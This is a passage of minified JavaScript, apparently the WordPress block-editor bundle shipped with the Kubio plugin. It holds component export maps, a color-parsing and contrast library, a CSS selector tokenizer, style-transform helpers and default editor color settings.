Yr,updateBlockListSettings:()=>Dl,updateSettings:()=>Ol,validateBlocksToTemplate:()=>Kr});var s={};n.r(s),n.d(s,{AdvancedPanel:()=>dP,BackgroundPanel:()=>iE,BorderPanel:()=>DT,ColorPanel:()=>QT,DimensionsPanel:()=>bT,FiltersPanel:()=>aP,GlobalStylesContext:()=>xS,ImageSettingsPanel:()=>uP,TypographyPanel:()=>qE,areGlobalStyleConfigsEqual:()=>jj,getBlockCSSSelector:()=>Oj,getBlockSelectors:()=>CE,getGlobalStylesChanges:()=>kP,getLayoutStyles:()=>kE,toStyles:()=>wE,useGlobalSetting:()=>Rj,useGlobalStyle:()=>Nj,useGlobalStylesOutput:()=>jE,useGlobalStylesOutputWithConfig:()=>IE,useGlobalStylesReset:()=>Mj,useHasBackgroundPanel:()=>tE,useHasBorderPanel:()=>jT,useHasBorderPanelControls:()=>ET,useHasColorPanel:()=>OT,useHasDimensionsPanel:()=>rT,useHasFiltersPanel:()=>tP,useHasImageSettingsPanel:()=>cP,useHasTypographyPanel:()=>AE,useSettingsForBlockElement:()=>Aj});var a={};n.r(a),n.d(a,{AlignmentControl:()=>xa,AlignmentToolbar:()=>Sa,Autocomplete:()=>Qa,BlockAlignmentControl:()=>od,BlockAlignmentToolbar:()=>id,BlockBreadcrumb:()=>_d,BlockCanvas:()=>dx,BlockColorsStyleSelector:()=>fx,BlockContextProvider:()=>bs,BlockControls:()=>H_,BlockEdit:()=>js,BlockEditorKeyboardShortcuts:()=>fp,BlockEditorProvider:()=>kp,BlockFormatControls:()=>V_,BlockIcon:()=>Fa,BlockInspector:()=>dM,BlockList:()=>ek,BlockMover:()=>a_,BlockNavigationDropdown:()=>qx,BlockPopover:()=>rk,BlockPreview:()=>hh,BlockSelectionClearer:()=>yp,BlockSettingsMenu:()=>Ay,BlockSettingsMenuControls:()=>Cy,BlockStyles:()=>tS,BlockTitle:()=>hd,BlockToolbar:()=>Gy,BlockTools:()=>ix,BlockVerticalAlignmentControl:()=>BS,BlockVerticalAlignmentToolbar:()=>IS,ButtonBlockAppender:()=>og,ButtonBlockerAppender:()=>ng,ColorPalette:()=>$S,ColorPaletteControl:()=>XS,ContrastChecker:()=>QS,CopyHandler:()=>hM,DefaultBlockAppender:()=>Jh,EditorStyles:()=>ih,FontSizePicker:()=>pa,GlobalStylesContext:()=>xS,HeadingLevelDropdown:()=>lS,HeightControl:()=>Dw,InnerBlocks:()=>Pg,Inserter:()=>Xh,InspectorAdvancedControls:()=>Ek,InspectorControls:()=>Tk,JustifyContentControl:()=>kC,JustifyToolbar:()=>_C,LineHeightControl:()=>pB,LinkControl:()=>NM,MediaPlaceholder:()=>iI,MediaReplaceFlow:()=>_B,MediaUpload:()=>mB,MediaUploadCheck:()=>vB,MultiSelectScrollIntoView:()=>mM,NavigableToolbar:()=>Fy,ObserveTyping:()=>Ag,PanelColorSettings:()=>rI,PlainText:()=>FI,RecursionProvider:()=>SM,ReusableBlocksRenameHint:()=>Bh,RichText:()=>DI,RichTextShortcut:()=>BI,RichTextToolbarButton:()=>II,SETTINGS_DEFAULTS:()=>tt,SkipToSelectedBlock:()=>rM,ToolSelector:()=>$I,ToolsPanelContext:()=>RM,Typewriter:()=>yM,URLInput:()=>XB,URLInputButton:()=>ZI,URLPopover:()=>eI,Warning:()=>Cs,WritingFlow:()=>Xp,__experimentalBlockAlignmentMatrixControl:()=>ud,__experimentalBlockContentOverlay:()=>yd,__experimentalBlockFullHeightAligmentControl:()=>ld,__experimentalBlockPatternSetup:()=>vS,__experimentalBlockPatternsList:()=>_h,__experimentalBlockVariationPicker:()=>aS,__experimentalBlockVariationTransforms:()=>yS,__experimentalBorderRadiusControl:()=>HS,__experimentalColorGradientControl:()=>YS,__experimentalColorGradientSettingsDropdown:()=>Tw,__experimentalDateFormatPicker:()=>tw,__experimentalDuotoneControl:()=>iw,__experimentalFontAppearanceControl:()=>uw,__experimentalFontFamilyControl:()=>dw,__experimentalGetBorderClassesAndStyles:()=>nA,__experimentalGetColorClassesAndStyles:()=>rA,__experimentalGetElementClassName:()=>pA,__experimentalGetGapCSSValue:()=>Ec,__experimentalGetGradientClass:()=>qs,__experimentalGetGradientObjectByGradientValue:()=>Xs,__experimentalGetMatchingVariation:()=>Ae,__experimentalGetShadowClassesAndStyles:()=>iA,__experimentalGetSpacingClassesAndStyles:()=>sA,__experimentalImageEditor:()=>pC,__experimentalImageSizeControl:()=>mC,__experimentalImageURLInputUI:()=>tj,__experimentalInspectorPopoverHeader:()=>IM,__experimentalLayoutStyle:()=>Wu,__experimentalLetterSpacingControl:()=>pw,__experimentalLibrary:()=>fM,__experimentalLinkControl:()=>dB,__experimentalLinkControlSearchInput:()=>qC,__experimentalLinkControlSearchItem:()=>LC,__experimentalLinkControlSearchResults:()=>GC,__experimentalListView:()=>Kx,__experimentalPanelColorGradientSettings:()=>Aw,__experimentalPreviewOptions:()=>gj,__experimentalPublishDateTimePicker:()=>EM,__experimentalRecursionProvider:()=>CM,__experimentalResponsiveBlockControl:()=>HI,__experimentalSpacingSizesControl:()=>hj,__experimentalTextDecorationControl:()=>vw,__experimentalTextTransformControl:()=>xw,__experimentalUnitControl:()=>UI,__experimentalUseBlockOverlayActive:()=>yd,__experimentalUseBlockPreview:()=>gh,__experimentalUseBorderProps:()=>oA,__experimentalUseColorProps:()=>lA,__experimentalUseCustomSides:()=>GR,__experimentalUseGradient:()=>Js,__experimentalUseHasRecursion:()=>BM,__experimentalUseMultipleOriginColorsAndGradients:()=>Pw,__experimentalUseResizeCanvas:()=>fj,__experimentalWritingModeControl:()=>Bw,__unstableBlockNameContext:()=>Dy,__unstableBlockSettingsMenuFirstItem:()=>Ey,__unstableBlockToolbarLastItem:()=>U_,__unstableEditorStyles:()=>ih,__unstableIframe:()=>nh,__unstableInserterMenuExtension:()=>Ph,__unstableRichTextInputEvent:()=>jI,__unstableUseBlockSelectionClearer:()=>_p,__unstableUseClipboardHandler:()=>pM,__unstableUseMouseMoveTypingReset:()=>Rg,__unstableUseTypewriter:()=>_M,__unstableUseTypingObserver:()=>Ng,createCustomColorsHOC:()=>Ks,getColorClassName:()=>Fs,getColorObjectByAttributeValues:()=>Os,getColorObjectByColorValue:()=>zs,getComputedFluidTypographyValue:()=>ca,getCustomValueFromPreset:()=>wc,getFontSize:()=>ea,getFontSizeClass:()=>na,getFontSizeObjectByValue:()=>ta,getGradientSlugByValue:()=>Qs,getGradientValueBySlug:()=>Ys,getPxFromCssUnit:()=>Le,getSpacingPresetCssVar:()=>Bc,getTypographyClassesAndStyles:()=>aA,isValueSpacingPreset:()=>Sc,kebabCase:()=>We,lock:()=>he,observableMap:()=>Oe,privateApis:()=>nD,store:()=>hs,storeConfig:()=>ps,transformStyles:()=>Re,unlock:()=>ge,useBlockBindingsUtils:()=>Ds,useBlockCommands:()=>ax,useBlockDisplayInformation:()=>Pk,useBlockEditContext:()=>S,useBlockEditingMode:()=>TM,useBlockProps:()=>Ib,useCachedTruthy:()=>cA,useClipboardHandler:()=>pM,useHasRecursion:()=>wM,useInnerBlocksProps:()=>Tg,useObservableValue:()=>De,useSetting:()=>Hs,useSettings:()=>Vs,useStyleOverride:()=>zM,withColorContext:()=>GS,withColors:()=>Zs,withFontSizes:()=>fa});const c=window.wp.blocks,u=window.wp.element,d=window.wp.data,p=window.wp.compose,h=window.wp.hooks,g=Symbol("mayDisplayControls"),f=Symbol("mayDisplayParentControls"),m=Symbol("blockEditingMode"),v=Symbol("blockBindings"),b=Symbol("isPreviewMode"),k={name:"",isSelected:!1},y=(0,u.createContext)(k),{Provider:x}=y;function S(){return(0,u.useContext)(y)}var w={grad:.9,turn:360,rad:360/(2*Math.PI)},C=function(e){return"string"==typeof e?e.length>0:"number"==typeof e},B=function(e,t,n){return void 0===t&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*e)/n+0},I=function(e,t,n){return void 0===t&&(t=0),void 0===n&&(n=1),e>n?n:e>t?e:t},j=function(e){return(e=isFinite(e)?e%360:0)>0?e:e+360},E=function(e){return{r:I(e.r,0,255),g:I(e.g,0,255),b:I(e.b,0,255),a:I(e.a)}},T=function(e){return{r:B(e.r),g:B(e.g),b:B(e.b),a:B(e.a,3)}},P=/^#([0-9a-f]{3,8})$/i,M=function(e){var t=e.toString(16);return t.length<2?"0"+t:t},R=function(e){var t=e.r,n=e.g,o=e.b,i=e.a,r=Math.max(t,n,o),l=r-Math.min(t,n,o),s=l?r===t?(n-o)/l:r===n?2+(o-t)/l:4+(t-n)/l:0;return{h:60*(s<0?s+6:s),s:r?l/r*100:0,v:r/255*100,a:i}},N=function(e){var t=e.h,n=e.s,o=e.v,i=e.a;t=t/360*6,n/=100,o/=100;var r=Math.floor(t),l=o*(1-n),s=o*(1-(t-r)*n),a=o*(1-(1-t+r)*n),c=r%6;return{r:255*[o,s,l,l,a,o][c],g:255*[a,o,o,s,l,l][c],b:255*[l,l,a,o,o,s][c],a:i}},A=function(e){return{h:j(e.h),s:I(e.s,0,100),l:I(e.l,0,100),a:I(e.a)}},L=function(e){return{h:B(e.h),s:B(e.s),l:B(e.l),a:B(e.a,3)}},D=function(e){return N((n=(t=e).s,{h:t.h,s:(n*=((o=t.l)<50?o:100-o)/100)>0?2*n/(o+n)*100:0,v:o+n,a:t.a}));var t,n,o},O=function(e){return{h:(t=R(e)).h,s:(i=(200-(n=t.s))*(o=t.v)/100)>0&&i<200?n*o/100/(i<=100?i:200-i)*100:0,l:i/2,a:t.a};var t,n,o,i},z=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,F=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,V=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,H=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,G={string:[[function(e){var t=P.exec(e);return t?(e=t[1]).length<=4?{r:parseInt(e[0]+e[0],16),g:parseInt(e[1]+e[1],16),b:parseInt(e[2]+e[2],16),a:4===e.length?B(parseInt(e[3]+e[3],16)/255,2):1}:6===e.length||8===e.length?{r:parseInt(e.substr(0,2),16),g:parseInt(e.substr(2,2),16),b:parseInt(e.substr(4,2),16),a:8===e.length?B(parseInt(e.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(e){var t=V.exec(e)||H.exec(e);return t?t[2]!==t[4]||t[4]!==t[6]?null:E({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(e){var t=z.exec(e)||F.exec(e);if(!t)return null;var n,o,i=A({h:(n=t[1],o=t[2],void 0===o&&(o="deg"),Number(n)*(w[o]||1)),s:Number(t[3]),l:Number(t[4]),a:void 0===t[5]?1:Number(t[5])/(t[6]?100:1)});return D(i)},"hsl"]],object:[[function(e){var t=e.r,n=e.g,o=e.b,i=e.a,r=void 0===i?1:i;return C(t)&&C(n)&&C(o)?E({r:Number(t),g:Number(n),b:Number(o),a:Number(r)}):null},"rgb"],[function(e){var t=e.h,n=e.s,o=e.l,i=e.a,r=void 0===i?1:i;if(!C(t)||!C(n)||!C(o))return null;var l=A({h:Number(t),s:Number(n),l:Number(o),a:Number(r)});return D(l)},"hsl"],[function(e){var t=e.h,n=e.s,o=e.v,i=e.a,r=void 0===i?1:i;if(!C(t)||!C(n)||!C(o))return null;var l=function(e){return{h:j(e.h),s:I(e.s,0,100),v:I(e.v,0,100),a:I(e.a)}}({h:Number(t),s:Number(n),v:Number(o),a:Number(r)});return N(l)},"hsv"]]},$=function(e,t){for(var n=0;n<t.length;n++){var o=t[n][0](e);if(o)return[o,t[n][1]]}return[null,void 0]},U=function(e,t){var n=O(e);return{h:n.h,s:I(n.s+100*t,0,100),l:n.l,a:n.a}},W=function(e){return(299*e.r+587*e.g+114*e.b)/1e3/255},K=function(e,t){var n=O(e);return{h:n.h,s:n.s,l:I(n.l+100*t,0,100),a:n.a}},Z=function(){function e(e){this.parsed=function(e){return"string"==typeof e?$(e.trim(),G.string):"object"==typeof e&&null!==e?$(e,G.object):[null,void 0]}(e)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return e.prototype.isValid=function(){return null!==this.parsed},e.prototype.brightness=function(){return B(W(this.rgba),2)},e.prototype.isDark=function(){return W(this.rgba)<.5},e.prototype.isLight=function(){return W(this.rgba)>=.5},e.prototype.toHex=function(){return t=(e=T(this.rgba)).r,n=e.g,o=e.b,r=(i=e.a)<1?M(B(255*i)):"","#"+M(t)+M(n)+M(o)+r;var e,t,n,o,i,r},e.prototype.toRgb=function(){return T(this.rgba)},e.prototype.toRgbString=function(){return t=(e=T(this.rgba)).r,n=e.g,o=e.b,(i=e.a)<1?"rgba("+t+", "+n+", "+o+", "+i+")":"rgb("+t+", "+n+", "+o+")";var e,t,n,o,i},e.prototype.toHsl=function(){return L(O(this.rgba))},e.prototype.toHslString=function(){return t=(e=L(O(this.rgba))).h,n=e.s,o=e.l,(i=e.a)<1?"hsla("+t+", "+n+"%, "+o+"%, "+i+")":"hsl("+t+", "+n+"%, "+o+"%)";var e,t,n,o,i},e.prototype.toHsv=function(){return e=R(this.rgba),{h:B(e.h),s:B(e.s),v:B(e.v),a:B(e.a,3)};var e},e.prototype.invert=function(){return q({r:255-(e=this.rgba).r,g:255-e.g,b:255-e.b,a:e.a});var e},e.prototype.saturate=function(e){return void 0===e&&(e=.1),q(U(this.rgba,e))},e.prototype.desaturate=function(e){return void 0===e&&(e=.1),q(U(this.rgba,-e))},e.prototype.grayscale=function(){return q(U(this.rgba,-1))},e.prototype.lighten=function(e){return void 0===e&&(e=.1),q(K(this.rgba,e))},e.prototype.darken=function(e){return void 0===e&&(e=.1),q(K(this.rgba,-e))},e.prototype.rotate=function(e){return void 0===e&&(e=15),this.hue(this.hue()+e)},e.prototype.alpha=function(e){return"number"==typeof e?q({r:(t=this.rgba).r,g:t.g,b:t.b,a:e}):B(this.rgba.a,3);var t},e.prototype.hue=function(e){var t=O(this.rgba);return"number"==typeof e?q({h:e,s:t.s,l:t.l,a:t.a}):B(t.h)},e.prototype.isEqual=function(e){return this.toHex()===q(e).toHex()},e}(),q=function(e){return e instanceof Z?e:new Z(e)},Y=[],X=function(e){e.forEach((function(e){Y.indexOf(e)<0&&(e(Z,G),Y.push(e))}))};function Q(e,t){var n={white:"#ffffff",bisque:"#ffe4c4",blue:"#0000ff",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",antiquewhite:"#faebd7",aqua:"#00ffff",azure:"#f0ffff",whitesmoke:"#f5f5f5",papayawhip:"#ffefd5",plum:"#dda0dd",blanchedalmond:"#ffebcd",black:"#000000",gold:"#ffd700",goldenrod:"#daa520",gainsboro:"#dcdcdc",cornsilk:"#fff8dc",cornflowerblue:"#6495ed",burlywood:"#deb887",aquamarine:"#7fffd4",beige:"#f5f5dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkkhaki:"#bdb76b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",peachpuff:"#ffdab9",darkmagenta:"#8b008b",darkred:"#8b0000",darkorchid:"#9932cc",darkorange:"#ff8c00",darkslateblue:"#483d8b",gray:"#808080",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",deeppink:"#ff1493",deepskyblue:"#00bfff",wheat:"#f5deb3",firebrick:"#b22222",floralwhite:"#fffaf0",ghostwhite:"#f8f8ff",darkviolet:"#9400d3",magenta:"#ff00ff",green:"#008000",dodgerblue:"#1e90ff",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",blueviolet:"#8a2be2",forestgreen:"#228b22",lawngreen:"#7cfc00",indianred:"#cd5c5c",indigo:"#4b0082",fuchsia:"#ff00ff",brown:"#a52a2a",maroon:"#800000",mediumblue:"#0000cd",lightcoral:"#f08080",darkturquoise:"#00ced1",lightcyan:"#e0ffff",ivory:"#fffff0",lightyellow:"#ffffe0",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",linen:"#faf0e6",mediumaquamarine:"#66cdaa",lemonchiffon:"#fffacd",lime:"#00ff00",khaki:"#f0e68c",mediumseagreen:"#3cb371",limegreen:"#32cd32",mediumspringgreen:"#00fa9a",lightskyblue:"#87cefa",lightblue:"#add8e6",midnightblue:"#191970",lightpink:"#ffb6c1",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",mintcream:"#f5fffa",lightslategray:"#778899",lightslategrey:"#778899",navajowhite:"#ffdead",navy:"#000080",mediumvioletred:"#c71585",powderblue:"#b0e0e6",palegoldenrod:"#eee8aa",oldlace:"#fdf5e6",paleturquoise:"#afeeee",mediumturquoise:"#48d1cc",mediumorchid:"#ba55d3",rebeccapurple:"#663399",lightsteelblue:"#b0c4de",mediumslateblue:"#7b68ee",thistle:"#d8bfd8",tan:"#d2b48c",orchid:"#da70d6",mediumpurple:"#9370db",purple:"#800080",pink:"#ffc0cb",skyblue:"#87ceeb",springgreen:"#00ff7f",palegreen:"#98fb98",red:"#ff0000",yellow:"#ffff00",slateblue:"#6a5acd",lavenderblush:"#fff0f5",peru:"#cd853f",palevioletred:"#db7093",violet:"#ee82ee",teal:"#008080",slategray:"#708090",slategrey:"#708090",aliceblue:"#f0f8ff",darkseagreen:"#8fbc8f",darkolivegreen:"#556b2f",greenyellow:"#adff2f",seagreen:"#2e8b57",seashell:"#fff5ee",tomato:"#ff6347",silver:"#c0c0c0",sienna:"#a0522d",lavender:"#e6e6fa",lightgreen:"#90ee90",orange:"#ffa500",orangered:"#ff4500",steelblue:"#4682b4",royalblue:"#4169e1",turquoise:"#40e0d0",yellowgreen:"#9acd32",salmon:"#fa8072",saddlebrown:"#8b4513",sandybrown:"#f4a460",rosybrown:"#bc8f8f",darksalmon:"#e9967a",lightgoldenrodyellow:"#fafad2",snow:"#fffafa",lightgrey:"#d3d3d3",lightgray:"#d3d3d3",dimgray:"#696969",dimgrey:"#696969",olivedrab:"#6b8e23",olive:"#808000"},o={};for(var i in n)o[n[i]]=i;var r={};e.prototype.toName=function(t){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return"transparent";var i,l,s=o[this.toHex()];if(s)return s;if(null==t?void 0:t.closest){var a=this.toRgb(),c=1/0,u="black";if(!r.length)for(var d in n)r[d]=new e(n[d]).toRgb();for(var p in n){var h=(i=a,l=r[p],Math.pow(i.r-l.r,2)+Math.pow(i.g-l.g,2)+Math.pow(i.b-l.b,2));h<c&&(c=h,u=p)}return u}},t.string.push([function(t){var o=t.toLowerCase(),i="transparent"===o?"#0000":n[o];return i?new e(i).toRgb():null},"name"])}var J=function(e){var t=e/255;return t<.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)},ee=function(e){return.2126*J(e.r)+.7152*J(e.g)+.0722*J(e.b)};function te(e){e.prototype.luminance=function(){return e=ee(this.rgba),void 0===(t=2)&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*e)/n+0;var e,t,n},e.prototype.contrast=function(t){void 0===t&&(t="#FFF");var n,o,i,r,l,s,a,c=t instanceof e?t:new e(t);return r=this.rgba,l=c.toRgb(),n=(s=ee(r))>(a=ee(l))?(s+.05)/(a+.05):(a+.05)/(s+.05),void 0===(o=2)&&(o=0),void 0===i&&(i=Math.pow(10,o)),Math.floor(i*n)/i+0},e.prototype.isReadable=function(e,t){return void 0===e&&(e="#FFF"),void 0===t&&(t={}),this.contrast(e)>=(l=void 0===(r=(n=t).size)?"normal":r,"AAA"===(i=void 0===(o=n.level)?"AA":o)&&"normal"===l?7:"AA"===i&&"large"===l?3:4.5);var n,o,i,r,l}}const ne=window.wp.components,oe=window.kubio.utils;let ie,re=(0,oe.wpVersionCompare)("6.4",">=")?"I know using unstable features means my theme or plugin will inevitably break in the next version of WordPress.":"I know using unstable features means my plugin or theme will inevitably break on the next WordPress release.";(0,oe.wpVersionCompare)("6.6",">=")&&(re="I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.");try{var le;ie=null!==(le=process.env.ALLOW_EXPERIMENT_REREGISTRATION)&&void 0!==le&&le}catch(e){ie=!1}new WeakMap,Symbol("Private API ID");const se=window.lodash;var ae,ce,ue=n.n(se);const de=()=>({lock:se.identity,unlock:se.identity}),{__dangerousOptInToUnstableAPIsOnlyForCoreModules:pe=de}=(null===(ae=top.wp)||void 0===ae?void 0:ae.experiments)||(null===(ce=top.wp)||void 0===ce?void 0:ce.privateApis)||{},{lock:he,unlock:ge}=pe(re,"@wordpress/block-editor"),fe={attribute:/\[\s*(?:(?<namespace>\*|[-\w\P{ASCII}]*)\|)?(?<name>[-\w\P{ASCII}]+)\s*(?:(?<operator>\W?=)\s*(?<value>.+?)\s*(\s(?<caseSensitive>[iIsS]))?\s*)?\]/gu,id:/#(?<name>[-\w\P{ASCII}]+)/gu,class:/\.(?<name>[-\w\P{ASCII}]+)/gu,comma:/\s*,\s*/g,combinator:/\s*[\s>+~]\s*/g,"pseudo-element":/::(?<name>[-\w\P{ASCII}]+)(?:\((?<argument>¶*)\))?/gu,"pseudo-class":/:(?<name>[-\w\P{ASCII}]+)(?:\((?<argument>¶*)\))?/gu,universal:/(?:(?<namespace>\*|[-\w\P{ASCII}]*)\|)?\*/gu,type:/(?:(?<namespace>\*|[-\w\P{ASCII}]*)\|)?(?<name>[-\w\P{ASCII}]+)/gu},me=new Set(["combinator","comma"]),ve=(new Set(["not","is","where","has","matches","-moz-any","-webkit-any","nth-child","nth-last-child"]),e=>{switch(e){case"pseudo-element":case"pseudo-class":return new RegExp(fe[e].source.replace("(?<argument>¶*)","(?<argument>.*)"),"gu");default:return fe[e]}});function be(e,t){let n=0,o="";for(;t<e.length;t++){const i=e[t];switch(i){case"(":++n;break;case")":--n}if(o+=i,0===n)return o}return o}const ke=/(['"])([^\\\n]+?)\1/g,_e=/\\./g;function ye(e,t=fe){if(""===(e=e.trim()))return[];const n=[];e=e.replace(_e,((e,t)=>(n.push({value:e,offset:t}),"".repeat(e.length)))),e=e.replace(ke,((e,t,o,i)=>(n.push({value:e,offset:i}),`${t}${"".repeat(o.length)}${t}`)));{let t,o=0;for(;(t=e.indexOf("(",o))>-1;){const i=be(e,t);n.push({value:i,offset:t}),e=`${e.substring(0,t)}(${"¶".repeat(i.length-2)})${e.substring(t+i.length)}`,o=t+i.length}}const o=function(e,t=fe){if(!e)return[];const n=[e];for(const[e,o]of Object.entries(t))for(let t=0;t<n.length;t++){const i=n[t];if("string"!=typeof i)continue;o.lastIndex=0;const r=o.exec(i);if(!r)continue;const l=r.index-1,s=[],a=r[0],c=i.slice(0,l+1);c&&s.push(c),s.push({...r.groups,type:e,content:a});const u=i.slice(l+a.length+1);u&&s.push(u),n.splice(t,1,...s)}let o=0;for(const e of n)switch(typeof e){case"string":throw new Error(`Unexpected sequence ${e} found at index ${o}`);case"object":o+=e.content.length,e.pos=[o-e.content.length,o],me.has(e.type)&&(e.content=e.content.trim()||" ")}return n}(e,t),i=new Set;for(const e of n.reverse())for(const t of o){const{offset:n,value:o}=e;if(!(t.pos[0]<=n&&n+o.length<=t.pos[1]))continue;const{content:r}=t,l=n-t.pos[0];t.content=r.slice(0,l)+o+r.slice(l+o.length),t.content!==r&&i.add(t)}for(const e of i){const t=ve(e.type);if(!t)throw new Error(`Unknown token type: ${e.type}`);t.lastIndex=0;const n=t.exec(e.content);if(!n)throw new Error(`Unable to parse content for ${e.type}: ${e.content}`);Object.assign(e,n.groups)}return o}function*xe(e,t){switch(e.type){case"list":for(let t of e.list)yield*xe(t,e);break;case"complex":yield*xe(e.left,e),yield*xe(e.right,e);break;case"compound":yield*e.list.map((t=>[t,e]));break;default:yield[e,t]}}var Se=n(1723),we=n.n(Se),Ce=n(2671),Be=n.n(Ce),Ie=n(1119),je=n.n(Ie),Ee=n(3418),Te=n.n(Ee);const Pe=new Map,Me=[{type:"type",content:"body"},{type:"type",content:"html"},{type:"pseudo-class",content:":root"},{type:"pseudo-class",content:":where(body)"},{type:"pseudo-class",content:":where(:root)"},{type:"pseudo-class",content:":where(html)"}];const Re=(e,t="",n)=>{let o=Pe.get(t);return o||(o=new WeakMap,Pe.set(t,o)),e.map((e=>{let i=o.get(e);return i||(i=function({css:e,ignoredSelectors:t=[],baseURL:n},o="",i){if(!o&&!n)return e;try{var r;const l=[...t,...null!==(r=null==i?void 0:i.ignoredSelectors)&&void 0!==r?r:[],o];return new(we())([o&&je()({prefix:o,transform:(e,t,n)=>l.some((e=>e instanceof RegExp?t.match(e):t.includes(e)))?t:Me.some((e=>t.startsWith(e.content)))?function(e,t){const n=ye(t);let o=-1;for(let e=n.findLastIndex((({content:e,type:t})=>Me.some((n=>e===n.content&&t===n.type))))+1;e<n.length;e++)if("combinator"===n[e].type){o=e;break}const i=ye(e);return n.splice(-1===o?n.length:o,0,{type:"combinator",content:" "},...i),function(e){let t;return t=Array.isArray(e)?e:[...xe(e)].map((([e])=>e)),t.map((e=>e.content)).join("")}(n)}(e,t):n}),n&&Te()({rootUrl:n})].filter(Boolean)).process(e,{}).css}catch(e){return e instanceof Be()?console.warn("wp.blockEditor.transformStyles Failed to transform CSS.",e.message+"\n"+e.showSourceCode(!1)):console.warn("wp.blockEditor.transformStyles Failed to transform CSS.",e),null}}(e,t,n),o.set(e,i)),i}))};function Ne(e,t){return Object.entries(t).every((([t,n])=>"object"==typeof n&&"object"==typeof e[t]?Ne(e[t],n):e[t]===n))}const Ae=(e,t)=>{if(!t||!e)return;const n=t.filter((({attributes:t})=>!(!t||!Object.keys(t).length)&&Ne(e,t)));return 1===n.length?n[0]:void 0},Le=()=>"";function De(e,t){const[n,o]=(0,u.useMemo)((()=>[n=>e.subscribe(t,n),()=>e.get(t)]),[e,t]);return(0,u.useSyncExternalStore)(n,o,o)}function Oe(){const e=new Map,t=new Map;function n(e){const n=t.get(e);if(n)for(const e of n)e()}return{get:t=>e.get(t),set(t,o){e.set(t,o),n(t)},delete(t){e.delete(t),n(t)},subscribe(e,n){let o=t.get(e);return o||(o=new Set,t.set(e,o)),o.add(n),()=>{o.delete(n),0===o.size&&t.delete(e)}}}}var ze=function(e,t){return ze=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},ze(e,t)};var Fe=function(){return Fe=Object.assign||function(e){for(var t,n=1,o=arguments.length;n<o;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},Fe.apply(this,arguments)};function Ve(e){return e.toLowerCase()}Object.create,Object.create,"function"==typeof SuppressedError&&SuppressedError;var He=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],Ge=/[^A-Z0-9]+/gi;function $e(e,t,n){return t instanceof RegExp?e.replace(t,n):t.reduce((function(e,t){return e.replace(t,n)}),e)}function Ue(e,t){return void 0===t&&(t={}),function(e,t){return void 0===t&&(t={}),function(e,t){void 0===t&&(t={});for(var n=t.splitRegexp,o=void 0===n?He:n,i=t.stripRegexp,r=void 0===i?Ge:i,l=t.transform,s=void 0===l?Ve:l,a=t.delimiter,c=void 0===a?" ":a,u=$e($e(e,o,"$1\0$2"),r,"\0"),d=0,p=u.length;"\0"===u.charAt(d);)d++;for(;"\0"===u.charAt(p-1);)p--;return u.slice(d,p).split("\0").map(s).join(c)}(e,Fe({delimiter:"."},t))}(e,Fe({delimiter:"-"},t))}function We(e){var t,n;let o=null!==(t=null==e||null===(n=e.toString)||void 0===n?void 0:n.call(e))&&void 0!==t?t:"";return o=o.replace(/['\u2019]/,""),Ue(o,{splitRegexp:[/(?!(?:1ST|2ND|3RD|[4-9]TH)(?![a-z]))([a-z0-9])([A-Z])/g,/(?!(?:1st|2nd|3rd|[4-9]th)(?![a-z]))([0-9])([a-z])/g,/([A-Za-z])([0-9])/g,/([A-Z])([A-Z][a-z])/g]})}var Ke=n(9590),Ze=n.n(Ke);const qe=window.wp.deprecated;var Ye=n.n(qe);function Xe(e,t,n){return[...e.slice(0,n),...Array.isArray(t)?t:[t],...e.slice(n)]}function Qe(e,t,n,o=1){const i=[...e];return i.splice(t,o),Xe(i,e.slice(t,t+o),n)}const Je=window.wp.i18n,et={insertUsage:{}},tt={alignWide:!1,supportsLayout:!0,colors:[{name:(0,Je.__)("Black","kubio"),slug:"black",color:"#000000"},{name:(0,Je.__)("Cyan bluish gray","kubio"),slug:"cyan-bluish-gray",color:"#abb8c3"},{name:(0,Je.__)("White","kubio"),slug:"white",color:"#ffffff"},{name:(0,Je.__)("Pale pink","kubio"),slug:"pale-pink",color:"#f78da7"},{name:(0,Je.__)("Vivid red","kubio"),slug:"vivid-red",color:"#cf2e2e"},{name:(0,Je.__)("Luminous vivid orange","kubio"),slug:"luminous-vivid-orange",color:"#ff6900"},{name:(0,Je.__)("Luminous vivid 